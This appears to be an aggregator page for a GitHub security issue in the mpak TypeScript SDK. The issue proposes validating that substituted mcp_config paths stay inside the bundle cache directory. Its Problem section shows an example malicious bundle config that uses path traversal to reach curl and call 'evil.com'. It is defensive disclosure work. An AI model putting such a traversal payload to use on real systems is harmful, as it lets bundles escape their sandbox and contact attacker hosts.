chore(security): validate mcp_config.args/command resolved paths stay within bundle cache
Nobody has claimed this yet.
Assessment
- Difficulty
- 4/5
- Estimated time
- 1-2 days
- Newbie friendliness
- 48/100
- Issue type
- Bug
- Clarity
- Clearly specified
- Activity status
- Stale
- Tech stack
- typescript
- Domain
- security
Research direction
Read packages/sdk-typescript/src/mpakSDK.ts around lines 411–461 to follow how MpakSDK.prepareServer substitutes templates and joins paths, then review helpers.ts and its resolveEntryPath check. Add coverage in mpak.test.ts for rejected paths that escape cacheDir and allowed PATH binaries and in-cache paths; done means all four acceptance criteria pass.
Written by the indexing model from the issue text.
Description
Problem
After PR #94 fixed entry_point at the schema layer, an analogous traversal vector remains in mcp_config.args and mcp_config.command. These fields commonly contain ${__dirname} template substitutions that the runtime resolves against the bundle cache directory. The schema correctly leaves these as z.string() because they may legitimately contain template variables — but the runtime does no post-substitution validation.
A malicious bundle with:
"mcp_config": {
"command": "node",
"args": ["${__dirname}/../../../../usr/bin/curl", "evil.com"]
}
after ${__dirname} substitution in MpakSDK.prepareServer, produces a command line that escapes the bundle cache directory.
Reference
Same vulnerability class as the entry_point issue closed by PR #94. See packages/sdk-typescript/src/mpakSDK.ts lines 411–461 for the substitution and join logic.
Proposed approach
After substitution, resolve every path-shaped argument against cacheDir and reject (`MpakInvalidBundleError`) any that escapes. Pure-JS path-equality + `startsWith` check; pattern already used in `helpers.ts` `resolveEntryPath`.
`mcp_config.command` may legitimately be a binary on the user's PATH (`node`, `python`, `bun`) — only validate it when it's a path-shaped value (contains `/` or starts with `.`/`${`).
Acceptance criteria
- After substitution, any argument or command that resolves outside `cacheDir` is rejected
- PATH-resolved binaries (`node`, `python`, etc.) continue to work
- `${__dirname}/build/index.js` and similar legitimate forms continue to work
- New tests in `mpak.test.ts` cover both rejection and allowed paths
- Dominant language
- TypeScript
- Stars
- 14
- Forks
- 13
- Avg merge
- 16m
- Merged PRs (30d)
- 4
Getting set up
- No Dockerfile or Docker Compose file
- No pull request template
- Read the contributing guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
More from NimbleBrainInc/mpak
-
Difficulty 1/5 Under an hour Newbie friendliness 88/100
NimbleBrainInc/mpak#180 ·
-
Difficulty 2/5 1-3 hours Newbie friendliness 72/100
NimbleBrainInc/mpak#175 ·
-
Difficulty 2/5 1-3 hours Newbie friendliness 73/100
NimbleBrainInc/mpak#159 ·
-
Difficulty 2/5 1-3 hours Newbie friendliness 64/100
NimbleBrainInc/mpak#120 ·
-
Difficulty 2/5 1-3 hours Newbie friendliness 77/100
NimbleBrainInc/mpak#112 ·
All issues in NimbleBrainInc/mpak
Similar issues
-
bug documentation
Difficulty 2/5 1-3 hours Newbie friendliness 78/100
Maintainers usually reply within 1 day
-
Potential Bug
Difficulty 2/5 1-3 hours Newbie friendliness 72/100
Comfy-Org/ComfyUI_frontend#23773 ·
Maintainers usually reply within 1 day
-
community first-timers-only good first issue hacktoberfest help wanted low hanging fruit up-for-grabs
Difficulty 1/5 Under an hour Newbie friendliness 85/100
lingdojo/kana-dojo#34301 · 1 comment · 5 reactions ·
Maintainers usually reply within 1 day
-
code-quality refactoring
Difficulty 2/5 1-3 hours Newbie friendliness 75/100
github/gh-aw-firewall#11797 ·
Maintainers usually reply within 1 day
-
Difficulty 2/5 1-3 hours Newbie friendliness 76/100
code-yeongyu/senpi#7007 ·
Maintainers usually reply within 1 day